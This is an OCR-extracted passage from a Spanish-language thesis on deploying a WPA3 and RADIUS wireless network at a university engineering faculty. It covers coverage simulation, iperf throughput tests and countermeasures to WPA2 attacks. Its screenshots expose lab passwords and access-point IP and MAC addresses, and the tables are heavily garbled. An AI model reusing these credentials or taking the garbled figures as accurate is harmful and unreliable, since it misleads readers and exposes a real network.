
Edit NAS NAS secret [redius123 |
NAS Type [Tp-Link | [select Type... v
NAS Shortname | AP |

Remove NAS

De igual manera se procede a la creacion de los usuarios con su respectiva contrasefia
tal como se ilustra en la Figura 107, en este caso la contrasefia debe ser en texto claro, con
este usuario creado se realiza la prueba para ver si es posible conexién del usuario y sobre

todo si tiene acceso a la red. Ahora en otra terminal se debe activar el modo de depuracion
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para freeradius con el comando “freeradius -X” para observar los logs de intento de conexion

del cliente como se observa en la Figura 108, Figura 109 y Figura 110.

Figura 107

Creacion de nuevos usuarios

Management &

Users Management

Account Infe User Info Billing Info Attributes

BB List Users
Username Authentication
B New User B
: Username Cristian b
B New User - Quick : _
Add Password cris4s6 =
X ; Password Type Cleartext-Password v
B Edit User B
Group Select Groups v | Add
B Search Users fappiy

Figura 108

Logs del cliente creado
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Figura 109

Logs del cliente

Figura 110

Logs del cliente

Toca configurar el tipo de seguridad que debe ser WPA/WPA2/WPAZ3 Enterprise, con
la direccién IP del servidor, el puerto de comunicacion 1812, la contrasefia que debe ser igual
a las configuraciones anteriores como se observa en la Figura 111y en la Figura 112 se tiene
la conexion del cliente inaldmbrico con sus respectivas configuraciones demostrando que la

configuracidn se realiz6 de manera correcta, teniendo el servidor Radius en uso activo.



Figura 111

Configuracion del AP para servidor Radius

SGHz:

Nombre de red (SSID):
Seguridad:

Servidor RADIUS IP:
Puerto RADIUS!
Contrasefia RADIUS:
Potencia de Transmision:
Ancho de Canal:

Canal:

Modo:

Figura 112

Cliente conectado

Habilitar
Prueba.WPA3
WPAMWPAZ2-Enterprise
152.168.9.199
1812
radius123
Alto
20/40/80MHz
Auto

802.11a/n/ac mixto

13:59 ©

& Acerca de estared

Desconectar

Prueba WPA3

0|

Conectar automaticamente

Conectarse

1

automaticamente al e

Intensidad de sendl

> di

Velocidad de conexion

Direccion MAC

OabTh30kcafa (Aleat

Direccion IPv4

BAM

Direccion IPvb

Nlcaka

Ocultar SSID

123
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3.4.6. Parametros para la Simulacion de la Red Inaldmbrica

Gracias a la simulacion realizada en el software Acrylic Wi-Fi Heatmap que permite

insertar caracteristicas de un AP con la frecuencia deseada, con el ancho de canal, el canal de

trabajo, ademas permite simular la atenuacion que se puede tener de los distintos materiales

utilizados en la construccion de la facultad y con esto se puede comprobar la cantidad de

puntos de acceso que son necesarios en cada piso de la facultad con un area de cobertura

Optima, de igual manera el software packet tracer de CISCO permitio simular la red

inalambrica con un pool de direcciones con sus respectivas VLANS y con un servidor

RADIUS configurado para el acceso a los clientes inalambricos, los parametros que fueron

tomados en cuenta para la simulacion de la red inalambrica son descritos en la Tabla 17.

Tabla 17

Parametros de simulacion

Parametros

Caracteristicas

Estandar

802.11ac

Area de cobertura

37.90 x 17.40 [m]

Nodos

2 por piso

Tecnologia RF

OFDM y MU-MIMO

Espectro de frecuencia 5GHz
Codificacion Baker 11 y CCK
_ BPSK, QPSK, 16-QAM, 64-QAM, 256-
Modulacién

QAM

Tasa de transmision

200 - 1300 [Mbps]

Ancho de canal

40, 80 y 160 [MHz]

Canales

Ch146+Ch161
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Seguridad Soportar WPA2, WPA3, AES

Autenticacion IEEE 802.1X/RADIUS

3.4.7. Resultados de la Simulacion

En esta fase se presenta los resultados obtenidos de la simulacion de la red
inalambrica, de la cual se pudo obtener informacion importante para determinar el nimero de
nodos necesarios por planta para cubrir la cobertura total de la facultad, asi como el lugar de
colocacion de los AP’s y a que distancia se deben colocar cada uno de ellos, de igual manera
se puede brindar ciertas contramedidas para vulnerabilidades asociadas al protocolo de

autenticacion WPA2.

En la actualidad se promedia que 600 personas entre docentes, alumnos y empleados
de la institucidn se pasean por ese piso. En la Figura 113 se puede observar la potencia de la
sefal representada en colores para demostrar la potencia que llega a cada parte de la facultad.
En la Figura 114 se puede observar el mapa de cobertura de la segunda planta de la facultad
de ingenieria siendo necesaria la cantidad de dos AP’s para proveer la cobertura total en todo
el piso coincidiendo con los célculos realizados con anterioridad, cada piso tiene una longitud
de 37.90 [m] y de ancho 17.40 [m], por lo que la distancia entre cada AP debe ser de 18.55
[m] aproximadamente para la cobertura total, esta planta contiene una oficina de jefe de
laboratorio, 4 laboratorios correspondientes a informatica, un area de soporte y

mantenimiento, un hall, un laboratorio de fibra dptica y las baterias sanitarias H-M.

Figura 113

Potencia de la sefal

0 (Strong) dbm (Weak) -100
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Figura 114

Cobertura segunda planta

En la Figura 115 se puede observar el mapa de cobertura de la tercera planta de la
facultad de ingenieria la cual contiene 3 laboratorios correspondientes a informética, una sala
de archivo, 4 salas de estudio correspondientes a las aulas 202, 203, 204 y 205 y las baterias

sanitarias H-M.

Figura 115

Cobertura tercera planta
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En la Figura 116 se puede observar el mapa de cobertura de la cuarta planta de la
facultad de ingenieria la cual contiene un laboratorio correspondiente a electronica, una sala
que corresponde a la asociacion de estudiantes CITEL & CIERCOM, ademas de 8 salas de

estudio la 301, 302, 303, 304, 305, 306, 307, 308 y las baterias sanitarias H-M.

Figura 116

Cobertura cuarta planta

En la Figura 117 se puede observar el mapa de cobertura de la dltima planta de la
facultad de ingenieria la cual contiene una sala de reuniones emprendimiento, una
coordinacion de emprendimientos, dos laboratorios de informatica, un cuarto de estudio
correspondiente al aula 401, un cuarto de asociacion estudiantil
CISIC/MECATRONICA/CINDU y cubiculos de oficinas docentes T/C. En este piso la
cobertura es mucho mejor dado que la propagacion de las sefiales de radio es mayor debido a
que no se tiene tantos obstaculos como en los anteriores pisos con las paredes de concreto que

existia y separaban las aulas.
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Figura 117

Cobertura quinta planta

En el caso del rendimiento de la red se tomd en cuenta 4 casos en la red inalambrica
Wi-Fi5 cada uno con un ancho de canal diferente, para el primer caso se tiene 20MHz, para el
segundo caso 40MHz, para el tercer caso 80MHz y para el ultimo 160MHz. Para esto se
utilizé Iperf la cual es una herramienta que permite al usuario ajustar varios parametros que
son utilizados para realizar pruebas en una red, Iperf puede funcionar como servidor y cliente

para medir el rendimiento de la red.

Para el primer caso se tiene un ancho de canal de 20MHz como se observa en la
Figura 118 lo cual ayuda a la no interferencia entre canales debido a su ancho de canal
pequefio aunque tendra un menor flujo de transferencia, como se observa en la Figura 119 y
la Figura 120 se tiene el rendimiento de una red entre dos dispositivos, una maquina de
Windows que funciona como servidor y una maquina Linux como cliente, para lo cual se
necesita una direccion IP y un puerto de escucha para medir el rendimiento entre las

maquinas.
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Figura 118

Ancho de canal 20MHz

5GHz: Habilitar * Prueba WPA3 % | -30

Nombre de red (SSID):  Prueba WPA3 %
Seguridad:  WPA3-Personal + WPAZ-PSK [

50

Contrasefia. 20160602
60
Potencia de Transmisién. ~ Alto
Ancho de Canal:  20MHz

Canal:  Auto

Modo:  802.11a/n/ac mixto

Figura 119

Iperf maquina servidor Windows con 20MHz

m M o

e

m

m oMo

s5e

sender
re

Figura 120

Iperf maquina cliente Linux con 20MHz

:~§ iperf3 -c 192.168.9.117 -p 5002

Connecting to host 192.168.9.117, port 5682
5] local 192.168.9.170 port 36746 connected to 192.168.9.117 port 5002
ID] Interval Transfer Bitrate Retr Cwnd

0.00-1. sec 6.50 MBytes 54.5 Mbits/sec 421 KBytes
sec MBytes 46.3 Mbits/sec 421 KBytes
sec MBytes 76.0 Mbits/sec 421 KBytes
sec MBytes 75.6 Mbits/sec 421 KBytes
sec MBytes 78.1 Mbits/sec 421 KBytes
sec MBytes 69.9 Mbits/sec 421 KBytes
sec MBytes 74.0 Mbits/sec 421 KBytes
MBytes 68.3 Mbits/sec 421 KBytes
MBytes 77.6 Mbits/sec 421 KBytes
MBytes 83.2 Mbits/sec 421 KBytes
Interval Transfer Bitrate
0.00-10.00 sec B83.9 MBytes 70.4 Mbits/sec sender
0.00-10.080 sec 82.4 MBytes 69.1 Mbits/sec receiver

(=

2
-3.
-4.

5

QAW

sec
. sec

D W oo mWwwwon
O W W NRNWWaA

7
-8. sec
9
1

[
[
[
[
[
[
[
[
[
[
[
[

o~

iperf Done.
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Para el segundo caso se utiliza el ancho de banda de 40MHz como se observa en la

Figura 121, en este caso el rendimiento de la red aumenta un poco en comparacion a la de

20MHz tal como se observa en la Figura 122 y la Figura 123.

Figura 121

Ancho de canal 40MHz

Figura 122

Iperf maquina servidor Windows con 40MHz

A
[
[
[
[
[
[
[
[
[
[
[
[
[

Figura 123

Iperf maquina cliente Linux con 40MHz

Connecting to host 192.168.9.117, port 5002

[
[
[
[
[
[
[
[
[
[
[
[

[
[
[

5GHz.

Nombre de red (SSID)

Seguridad

Confraseifia

Potencia de Transmisién.

Ancho de Canal

Canal

Modo

m oo

Habilitar

Prueba WPA3

WPA3-Personal + WPA2-PSK [A

20160602

Alto

20/40MHz

Auto

802 11a/n/ac mixto

:~§ iperf3 -c 192.168.9.117 -p 5602

* Prueba WPA3 %

5] local 192.168.9.170 port 34612 connected to 192.168.9.117 port 5002
Transfer

5]

0.00-
.01-
.00-
.00-
.00-
.00
.00-
.00-
.00-
.00-

[= ST TR N

0w~

ID] Interval
1.

2
3
4
5
-6.
7
8
9
1

01
.00
.00
.00
.00
<[]
.00
.00
o0

Interval
0.00-10.00
0.00-10.060

sec
s5ec

.00 =

11.2
19.
17.

5
2
2
.7
.8
2
5
5
2

MBytes
MBytes
MBytes
MBytes
MBytes
MBytes
MBytes
MBytes
MBytes

MBytes

Transfer

175
173

MBytes
MBytes

Bitrate

93.1
164
144
136
165
167
153
146
139
161

Mbits/sec
Mbits/sec
Mbits/sec
Mbits/sec
Mbits/sec
Mbits/sec
Mbits/sec
Mbits/sec
Mbits/sec
Mbits/sec

Bitrate

147
145

Mbits/sec
Mbits/sec

Retr Cwnd

6 483 KBytes
483 KBytes
483 KBytes
483 KBytes
483 KBytes
483 KBytes
483 KBytes
483 KBytes
483 KBytes
483 KBytes

=

WwhMNEWWON

sender
receiver



Para el tercer caso se utiliza el ancho de banda de 80MHz como se observa en la

Figura 124, para este ancho se tiene una ligera mejora en el rendimiento de la red entre las

dos maquinas como se ilustra en la Figura 125 y la Figura 126.

Figura 124

Ancho de canal 80MHz

Figura 125

5GHz.

Nombre de red (SSID):

Seguridad

Contrasefia

Potencia de Transmision:

Ancho de Canal:

Canal:

Modo:

Habilitar 30
* Prueba WPA3 %

Prueba WPA3 40
WPA3-Personal + WPAZ-PSK [A

50
20160602

60
Alto

70
20/40/80MHz
Auto

802.11a/n/ac mixto

Iperf maquina servidor Windows con 80MHz

Figura 126

tion

B6.06-16.87

from 1 5
nected to
Bandwidth

[ A i B i e e
M MM MMIMOIMDMMDMD
won oo W ononn N

nowon

Bandwidth
/ sender
receiver

Iperf maquina cliente Linux con 80MHz

[
[
[
[
[
[
[
[
[
[
[
[

[
[
[

:~% iperf3 -c 192.168.9.117 -p 5002
Connecting to host 192.168.9.117, port 5802

5] local 192.168

ID] Interval

0.00-1.00
.00-2.00
.00-3.00
.00-4.00
.00-5.00

[V, I TN

.00-
.00-
.00-
.00-

.00
.00
.00
0.00

2
3
4
5
.00-6.00
7
;]
9
1

[T

Interval
0.00-10.00
0.00-10.00

.9.170 port 55270 connected to 192.168.9.117 port 5002

Transfer Bitrate Retr Cwnd
sec 14.8 MBytes 124 Mbits/sec 3 416 KBytes
sec 13.0 MBytes 109 Mbits/sec 416 KBytes
sec 12.4 MBytes 164 Mbits/sec 416 KBytes
sec 25.7 MBytes 215 Mbits/sec 416 KBytes
sec 26.9 MBytes 225 Mbits/sec 416 KBytes
sec 26.2 MBytes 219 Mbits/sec 416 KBytes
sec 29.5 MBytes 248 Mbits/sec 416 KBytes
sec 30.0 MBytes 251 Mbits/sec 416 KBytes
sec 23.0 MBytes 193 Mbits/sec 416 KBytes
sec 19.9 MBytes 167 Mbits/sec 416 KBytes

BWwwWWwwmnwN W

Transfer Bitrate
sec 221 MBytes 186 Mbits/sec sender
sec 219 MBytes 184 Mbits/sec receiver

131



132

Para este ultimo caso se tiene un ancho de banda de 160MHz tal como se ilustra en la
Figura 127 lo cual es el mismo router no recomienda debido al ancho de su canal lo cual
podria traer consecuencias como interferencias con otras redes que utilicen la red Wi-Fi5, por
lo que para estas redes es recomendable utilizar anchos de 40MHz o0 80MHz, con este ancho
de canal se tuvo el mejor rendimiento de todos los canales tal como se ilustra en la Figura 128

y la Figura 129.

Figura 127

Ancho de canal 160MHz

| * Prueba.wpa3 x |

|
|
|
|
1
1
1
1
|
|
|
|
|
|
o

5GHz Habilitar
Nombre de red (SSID) Prueba WPA3Z
Seguridad WPA3-Personal + WPA2-PSK [A
Contrasefia: =~ 20160602
Potencia de Transmisién: = Alto

Ancho de Canal 20/40/80/160MHz

Canal: | Auto

L
T

=
2

I

I
=
=2
Ln
P
]
=)
(=)
(=)
[=1]
F

Figura 128

Iperf maquina servidor Windows con 160MHz

.17 port

[
[
[
[
[
[
[
[
[
[
[
[
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Figura 129

Iperf maquina cliente Linux con 160MHz

:~§ iperf3 -c 192.168.9.117 -p 5082
Connecting to host 192.168.9.117, port 5002
5] local 192.168.9.170 port 34954 connected to 192.168.9.117 port 5002
ID] Interval Transfer Bitrate Retr Cwnd
5] 0.00-1. sec 9.14 MBytes 76.7 Mbits/sec 4 416 KBytes
sec 26.2 MBytes 220 Mbits/sec 416 KBytes
sec 26.0 MBytes 218 Mbits/sec 416 KBytes
sec 27.4 MBytes 230 Mbits/sec 416 KBytes
sec 26.5 MBytes 223 Mbits/sec 416 KBytes
sec 26.1 MBytes 219 Mbits/sec 416 KBytes
sec 24.0 MBytes 201 Mbits/sec 416 KBytes
sec B.7 MBytes 241 Mbits/sec 416 KBytes
sec 1.1 MBytes 261 Mbits/sec 416 KBytes
Mbits/sec 416 KBytes

1.
2.
3.
4.
5.
6.
7.
8.
9.

BNV RV, R R VU o R T |

Interval Transfer Bitrate
0.00-10.00 sec 250 MBytes 210 Mbits/sec sender
0.00-10.00 sec 249 MBytes 209 Mbits/sec receiver

Después de realizadas estas pruebas con la herramienta dio favorable al ancho de
canal de 160MHz, pero lo mas recomendable es utilizar la de 80MHz o la 40MHz que no
utiliza tanto ancho de canal por lo que mas libre las frecuencias, ademas las velocidades no

varian mucho como para elegir una en concreto.

3.4.8. Criterios de Seguridad de la Red Inalambrica

Para tener una red inaldmbrica segura y confiable es necesario tener criterios de
seguridad los cuales mantengan la integridad, protegiendo la confidencialidad y asegurando
la disponibilidad de red, esto es conocido como el triangulo CIA que es necesario para
proteger los recursos de la red. Dado que ahora se tiene redes inalambricas en todo lugar y su
crecimiento ha ido en aumento ha conllevado al aumento de riesgos en la seguridad, por lo
general muchos de estos riesgos son causados por atacantes informaticos o el hacking que
hacen un uso indebido de los recursos de la red llegando a tomar datos importantes de los

usuarios inalambricos de la facultad.

Wi-Fi es menos seguro.- las redes inalambricas poseen mayor riesgo de sufrir
ataques que las redes cableadas, esto debido a que el Wi-Fi funciona de una manera diferente

emitiendo sefiales de radio dentro de un rango especifico y en el que un atacante puede
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interceptar estas sefiales y por consecuencia obtener credenciales o datos de los usuarios de

esa red mientras que en las redes cableadas en necesario si 0 si tener una conexion fisica.

WPAZ2 no basta.- si bien con WPAZ2 se han mejorado las vulnerabilidades existentes
que su antecesor se tienen ciertas flaquezas a pesar de los avances en el transcurso de los
afios, es por esto por lo que es necesario proteger las redes inalambricas de todas las formas

posibles como contrasefias fuertes o desactivar el SSID.

Proteccion de datos.- el hecho de tener acceso a internet implica riesgos si no se
accede a paginas web seguras o con certificados de seguridad auténticos mediante https, dado
que por lo general se accede a paginas las cuales requieren acceso con credenciales del
usuario lo que implica facilitar datos a distintas paginas web, por lo que si un atacante

encuentra una vulnerabilidad en la red puede tener acceso a estas credenciales.

3.4.9. Contramedidas a Vulnerabilidades

Las redes inalambricas son vulnerables a diferentes tipos de ataques tal como se
demostro en secciones anteriores, los cuales explotan debilidades de la tecnologia o
debilidades de tecnologia, en este caso es el protocolo de autenticacion WPA2 fue la que
presento vulnerabilidades tal como la reinstalacion de claves, de igual manera los ataques por
inundacion de tramas beacon los cuales provocan denegacion de servicio en mucho de los
casos o0 en el peor obtener las credenciales del AP y con esto tener acceso al mismo y
provocar peores ataques al usuario inalambrico, por lo que es necesario tener en cuenta

algunas contramedidas ante estas vulnerabilidades las cuales se definen a continuacion:

e Parael caso del atague KRACK la mejor contramedida es el uso de WPA3 ya que fue
disefiado para abordar las debilidades conocidas en WPAZ2, si este caso no es posible
es necesario tener a los dispositivos inalambricos actualizado con los Ultimos parches

de seguridad instalados.
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Para evitar el ataque de fuerza bruta basado en handshake es necesario tener
configurado contrasefias seguras y fuertes, mediante una combinacion de letras
mayusculas, minusculas, nimeros y caracteres especiales con un minimo de 12
caracteres.

Una buena préctica contra el ataque de gemelo malvado es verificar que el SSID sea
correcto comparando la informacion de seguridad proporcionada, desactivando la
funcién de conexion automatica a redes conocidas, otra ayuda es utilizar una VPN la
cual cifrara el tréfico dificultando la obtencion de datos.

Realizar auditorias periodicas a la red para buscar posibles ataques de suplantacion,
identificando y alertando sobre la presencia de puntos de acceso no autorizados
mediante el monitoreo de trafico buscando anomalias que puedan indicar la presencia
de AP falsos.

Para ataques de fuerza bruta y diccionario lo mejor es configurar el sistema para
bloquear o limitar el acceso luego de varios intentos fallidos, restringiendo el acceso a
solo usuarios autorizados, monitorear regularmente los registros para detectar intentos
de inicio de sesion fallidos o inusuales.

Una buena manera de mitigar el ataque de desautenticacion y desasociacion es
implementar sistemas de deteccidn de intrusos y prevencion de intrusos o conocidos
como IDS e IPS para detectar y responder este tipo de ataques.

El uso de firewalls para detectar y bloguear actividades sospechosas o maliciosas en
la red puede evitar el ataque de inyeccion y manipulacion de trafico, de igual manera
implementar un cifrado de extremo a extremo en la comunicacion, utilizar firmas
digitales y certificados para la verificacion de los datos lo que lleva a la utilizacion de
protocolos de seguridad como HTTPS para sitios web protegiendo la integridad y

confidencialidad en la comunicacion.
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Para el ataque de inundacion de tramas beacon/probe es necesario implementar un
filtrado de direcciones MAC para permitir dispositivos autorizados en la red, o
también ajustar la potencia de transmision para que la sefial no sea emitida en rangos
fuera del area que sea necesario cubrir.

Como contramedida final la mejor opcion para todas las vulnerabilidades
mencionadas anteriormente es la implementacion de WPA3 ya que ofrece una sélida
proteccidn contra ataques inalambricos, al tiempo que establece un proceso de
autenticacion mas robusto, mejorando significativamente la seguridad en la red
implementada. Ademas, esta medida va complementada con otras practicas de
seguridad, como el filtrado de direcciones MAC, segmentacion de red,
actualizaciones constantes de firmware y el control de acceso fisico, para establecer

una defensa integral y efectiva contra amenazas potenciales.

Recomendaciones para el Acceso a la Red
Ademas de las medidas tomadas en el disefio de la red inaldmbrica es necesario

recomendaciones de seguridad para una mayor seguridad en la red, estas

recomendaciones son un conjunto de normas especificadas para gestionar ciertos aspectos

deseados entre la interaccion de los usuarios y aplicaciones, dado que los usuarios también

son responsables de la seguridad informatica, para el apartado inalambrico se debe tomar en

cuenta las politicas de seguridad al momento de acceder a la red de la universidad dado que

son mas vulnerables debido al medio de transmision que se usa como lo es el aire, por lo que

en el trascurso de la investigacion se llego a la conclusion de tener ciertas recomendaciones

de seguridad:

Cambiar el SSID que viene por defecto de los puntos de acceso y colocar un SSID

referenciado a la universidad.
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Desactivar la emision broadcast del SSID, para que de esta manera solo el personal
con las credenciales pueda obtener acceso a los recursos de la red.

Verificar que el SSID no contenga indicios de la contrasefia, de tal manera que entre
la contrasefia y SSID sean dos cosas totalmente diferentes.

Utilizar WPAS3 dado que es el actual protocolo de seguridad que mejora a su antecesor
y en caso de tener vulnerabilidades es muy dificil que un atacante pueda tener acceso
a lared.

Usar como método de encriptado a AES si existe la posibilidad, dado que la opcion
AES/TKIP cambia entre estos dos modos y TKIP es mas vulnerable.

Establecer un nombre para los equipos de red con una nomenclatura para cada tipo de
dispositivo.

Tener siempre actualizados los dispositivos inalambricos en su dltimo firmware, dado
que estas actualizaciones corrigen errores y parchean vulnerabilidades encontradas en
firmware obsoletos.

Limitar el &rea de cobertura a los dispositivos inalambricos para evitar que los
atacantes inaldmbricos tengan cobertura en el radio de emision de los dispositivos y
asi capturar informacién importante de los usuarios inalambricos.

Politicas de contrasefias seguras para puntos de acceso y clientes inalambricos, se
debe establecer una contrasefia robusta con un minimo de 12 caracteres que contengan
una mezcla de letras mayusculas, minudsculas, nimeros, caracteres especiales.
Auditorias periddicas de todos los dispositivos inalambricos Wi-Fi instalados en la
facultad.

En caso de existir riesgos para la seguridad de la red inalambrica el encargado de red

podra desconectar el equipo de manera inmediata.
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Debe existir una notificacion al momento de encontrarse una falla en tal caso notificar
al administrador, asignar a una persona que revise la falla, resolucion en el que la
persona encargada resuelva el problema y finalizacion donde la persona encargada

realiza la documentacion del proceso que se hizo para resolver la falla.
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4, CAPITULO 4: PRUEBAS DE FUNCIONAMIENTO

En esta seccidn se realiza las pruebas de funcionamiento en los equipos fisicos del
disefio e implementacion del protocolo de autenticacion WPA3, para su posterior analisis de
vulnerabilidades descritos en el capitulo 3 con diferentes escenarios de pruebas, de igual
manera se realiz6 una simulacion de la red inaldmbrica la que facilitara la implementacion en
este capitulo. Siguiendo con la metodologia PHVA para este capitulo se tomaré en cuenta la
etapa de verificar en la cual se iran comparando los resultados obtenidos de la simulacion
revisando todo lo que salié y todo lo mal de la simulacién realizada con los datos que se

vayan obteniendo en las pruebas.

4.1. Configuracién del Wireless LAN Controller

Como primera parte de la realizacion de pruebas es la creacion de la red inalambrica
con el protocolo WPA3. Al momento de ingresar las credenciales pertinentes para el acceso a
la WLC, es necesario dirigirse al apartado de configuracion, seguido a configuracion
inalambrica y basico donde se observan los diferentes campus de la universidad como se

observa en la Figura 130, se observan los APs asociados y la cantidad de clientes.

Figura 130
WLC
figuration * Basic
Q 9 Q Q
Cl BAR CAl DBU
Centro Infantil CAl Bienestar Universitario
: : 1 . : -
Joined APs Clients. Joined APs Clients Joined APs Clients Joined APs Clients
Q Q Q Q
EIF DDTI FCCS FICA
pom FCCS FICA
1 . . - - -
Joined APs Clients Joined APs Clients Joined APs Clients Joined APs Clients
Q Q Q Q
HSVP FACAE FECYT AUDIAC

HSVP FACAE FECYT

Auditorio Agustin Cueva
10 15 21 508 pal 601 0 o
Joined APs. Clients Joined APs. Clients Joined APs Clients Joined APs Clients
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Para el caso del proyecto es necesario concentrarse en la FICA, la cual consta de 15
AP’s asociados como se ilustra en la Figura 131. Al momento de ingresar a la facultad es
posible observar la informacion de los 15 AP’s asociados cada uno con su respectivo nombre,
modelo, si se encuentra en estado activo o0 no, sus direcciones IP y sus direcciones MAC

como se ilustra en la Figura 132.

Figura 131

AP’s FICA

FICA

FICA

Figura 132

Informacion AP’s

Number of AP(s): 15

Operation Status *Is equal to” R ed x ‘ ‘ AP Name “Contains” AP-FICA x l \'

AP Name ¥. APModel v AdminStatus “ IP Address ¥ AP Radio MAC ¥ Ethemet MAC ¥ Operation Status o
AP-FICA-PBI i CO115AXI-A o 2801:10:6800:4::2ba ccdb.93f0.34c0  F ¢884.271ad.8698 & Registered
AP-FICA-PBC & C9115AXI-A (v} 2801:10:6800:4:: cedb.93f0.5840 & c¢884.21ad.8b28 F Registered
AP-FICA-PA2-D & C9115AXI-A (v] 2801:10:6800:4:: ccdb.93f0.9300 F ¢884.31ad.9260 F Registered
AP-FICA-PA1-l & C9115AXI-A (v] 2801:10:6800:4:: ccdb.93f0.9740 & ¢884.a1ad.92e8 F* Registered
AP-FICA-PA4-D & C9115AXI-A O 2801:10:6800:4:: ccdb.93f0.22¢0 & ¢884.212d.9458 F# Registered
AP-FICA-PA4-C & CY9115AXI-A O 2801:10:6800:4:: ccdb.93f0.a580 & ¢884.a1ad.94b0 F Registered
AP-FICA-PA4-l & C9115AXI-A (v} 2801:10:6800:4:: ccdb.93f0.5960 F ¢884.a1ad.952¢c # Registered
AP-FICA-PA2-| & C9115AXI-A (v] 2801:10:6800:4:: ccdb.93f0.2e40 S ¢884.a1ad.95¢8 F Registered
AP-FICA-PA1-D & CO115AXI-A (v} 2801:10:6800:4:: ccdb.93f0.c800 # ©884.a31ad.9800 # Registered
AP-FICA-PA2-C & C9115AXI-A (v} 2801:10:6800:4:: ccdb.93f0.cca0  F ¢884.31ad.9988 & Registered
AP-FICA-PAI-C & C9115AXI-A (v} 2801:10:6800:4:: ccdb.93f0.ccal & ©884.a31ad.9994 & Registered
AP-FICA-PA3-l & C8115AXI-A o 2801:10:6800:4:: ccdb.93f0.cdd0  F ¢884.31ad.99a8 & Registered
AP-FICA-PBD & CO9115AXI-A (v} 2801:10:6800:4:: ccdb.93f0.dic0 & ¢884.a1ad.9a38 F Registered
AP-FICA-PA3-D & C9115AXI-A (v} 2801:10:6800:4::2 ccdb.93f0.d260 # c884.alad.9adc # Registered
AP-FICA-PA3-C & CY115AXI-A (v] 2801:10:6800:4::33¢c ccdb.93f3.2000 & c884.alad.ed00 F Registered

1 720 v
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Para la creacion de la nueva red inalambrica de pruebas es necesario que los AP’s
sean de la serie Catalyst 9115 (AXI/AXE), Catalyst 9120 (AXI/AXE) o Catalyst 9130
(AXI/AXE) ya que son los unicos que soportan el nuevo protocolo WPAS3, para el caso todas
las facultades constan de AP’s de la serie Catalyst 9115 siendo posible la investigacion.
Como primer paso es seleccionar un nombre nuevo para la red que sera “Test WPA3”, con el

SSID “Prueba. WPA3”, emitiendo el broadcast y con un estatus de activo tal como se ilustra

en la Figura 133.

Figura 133

Informacién nueva red

Edit WLAN

A Changing WLAN parameters while it is enabled will result in loss of connectivity for clients connected to it
General Security Advanced Add To Policy Tags
Profile Name* Test WPA3 Radio Policy All v
SSID* Prueba.WPA3 Broadcast SSID ENABLED .
WLAN ID* 7

Status ENABLED .

En el siguiente apartado tenemos la opcién de seguridad, en la capa 2 se debe
seleccionar la opcion de WPAZ3, teniendo en cuenta que la opcion de transmision rapida se
encuentre desactivada tal como se ilustra en la Figura 134. En el apartado de parametros de la
WLAN se debe desactivar las politicas de WPAZ2 y activar las politicas de WPA3 ademas de
la pestafia de SAE, dado que si esto no se configura correctamente los clientes inalambricos

van a tener pérdida de conexion tal como se observa en la Figura 135.



Figura 134

Seguridad nueva red
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Edit WLAN x

Changing WLAN parameters while it is enabled will result in loss of connectivity for clients connected to it.

General Security Advanced
Layer2 Layer3 AAA

Layer 2 Security Mode
MAC Filtering

Protected Management Frame

PMF

Association Comeback Timer*

SA Query Time*

Figura 135

Parametros de la nueva red

Add To Policy Tags

\ WPA2 + WPA3

(@]

‘ Qptional
‘ 1

‘200

Lobby Admin Access
Fast Transition
Over the DS

Reassociation Timeout

v |

MPSK Configuration

MPSK

]
’ Disabled
]

!20

Edit WLAN

WPA Parameters

WPA Policy

WPA2 Policy

GTK Randomize

WPAS3 Policy

WPA2/WPA3 Encryption

Auth Key Mgmt

e O

e O

AES(CCMP128)
0O cCcMmP256
0O GCMP128
0O GCMP256

0O 802.1x

0O PSK

O cckm

© SAE

O owe

O FT +802.1x

O FT + PSK

O 802.1x-SHA256
O PSK-SHA256

v

A
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Finalmente, en lo ultimo de la configuracion de la red es colocar la clave pre
compartida para tener el acceso a los recursos de la nueva red como se observa en la Figura
136 guardando y aplicando los cambios finales. En la Figura 137 es posible observar la red

inalambrica creada con un tag ID 7 y que se encuentra en un estado activo.

Figura 136

Parametros finales de la nueva red

Anti Clogging Threshold* | 1500

Max Retries* 5

Retransmit Timeout* ‘ 400

PSK Format | Ascil -
PSK Type Unencrypted ',

Pre-Shared Key* | e

[ O Cance ' Update & Apply to Device

Figura 137

Creacion de la nueva red

Configuration ™ > Tags & Profiles~ > WLANs
-+ Add

Number of WLANSs selected : O

(8] Status ~ Name v D
(@] 4] Centro Infantil UTN ®

(@] (1) Auditoria S 2
8] () Red_QoS ® 3
0O (4] CiscoSensorProvisioning % 4
(o] (4] Lab Textil ® 5
(@) (4] CENTRO FISICA 9 6
(@] (4] Test WPA3 9 7
(@] (4] CENTRO BIOLOGIA ® 8
(@] (4] Semilleros UTN ® 9
(@] (4] Investigacion UTN ¥ 10

1 2 > 10 v
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En la Figura 138 se tiene la red en funcionamiento observando que se encuentra
dentro del grupo de VLAN la misma que la red eduroam. Lo siguiente es la conexion a la
nueva red para lo cual se hace uso de un dispositivo con una tarjeta de red inalambrica ya sea
una laptop o un teléfono celular en el que sea visible la nueva red como se observa en la

Figura 139.

Figura 138

Grupo de WLAN en la FICA
Configuration ™ > Wireless Setup~ > Basic

Genera Wireless Networks AP Provisioning

WLANS on this Location

WLAN Name VLAN/VLAN Group

Eduroam UTN

O 00O

eventos

Figura 139

Conexion a la nueva red en laptop

WUTHN Eventes
Crordinac FT

Irno Flber - Casa Rosita

CITEL_LAB

FLA_VITERI

g TP-LIN
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Una vez que la red emite su SSID lo siguiente es ingresar las credenciales
correspondientes para la conexion y seguir realizando las pruebas de seguridad como se
observa en la Figura 140, si las credenciales con correctas se tiene la conexion establecida
como se observa en la Figura 141 en un celular y como se observa en la Figura 142 en una
laptop, y en la Figura 143 se puede observar toda la informacidn necesaria sobre la red

inalambrica creada con el protocolo de seguridad WPAS.

Figura 140

Ingreso de credenciales

Autenticacion requerida

Se necesitan contrasefias o claves de cifrado para
acceder a la red inalambrica «Prueba WP

Prueba@1238] E )

Cancelar Conectar

Figura 141

Conexién a la nueva red en celular

Wi-Fi

Asistente de Wi-Fi

= PruebaWPA3 2usc

~e




Figura 142

Conexion exitosa

Redes visibles ©

%o Prueba.WPA3

. eduroam

Figura 143

Informacién de la nueva red

Cancelar Prueba.WPA3

Detalles Identidad IPv4 IPv6 Seguridad

Buena
Velocidad de conexion 400 Mb/s (5,3 GHz)

1281

A2f0:78ff-fe45:efda

NS 10.24.8.810.24.9.9

& Conectar automaticamente

»| Hacer disponible para otros usuarios

Conexion medida: tiene limite de datos o puede incurrir en cargos

4.2.  Vulnerabilidades

Olvidar conexion
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En este apartado, se llevara a cabo un minucioso anélisis de seguridad que abordara

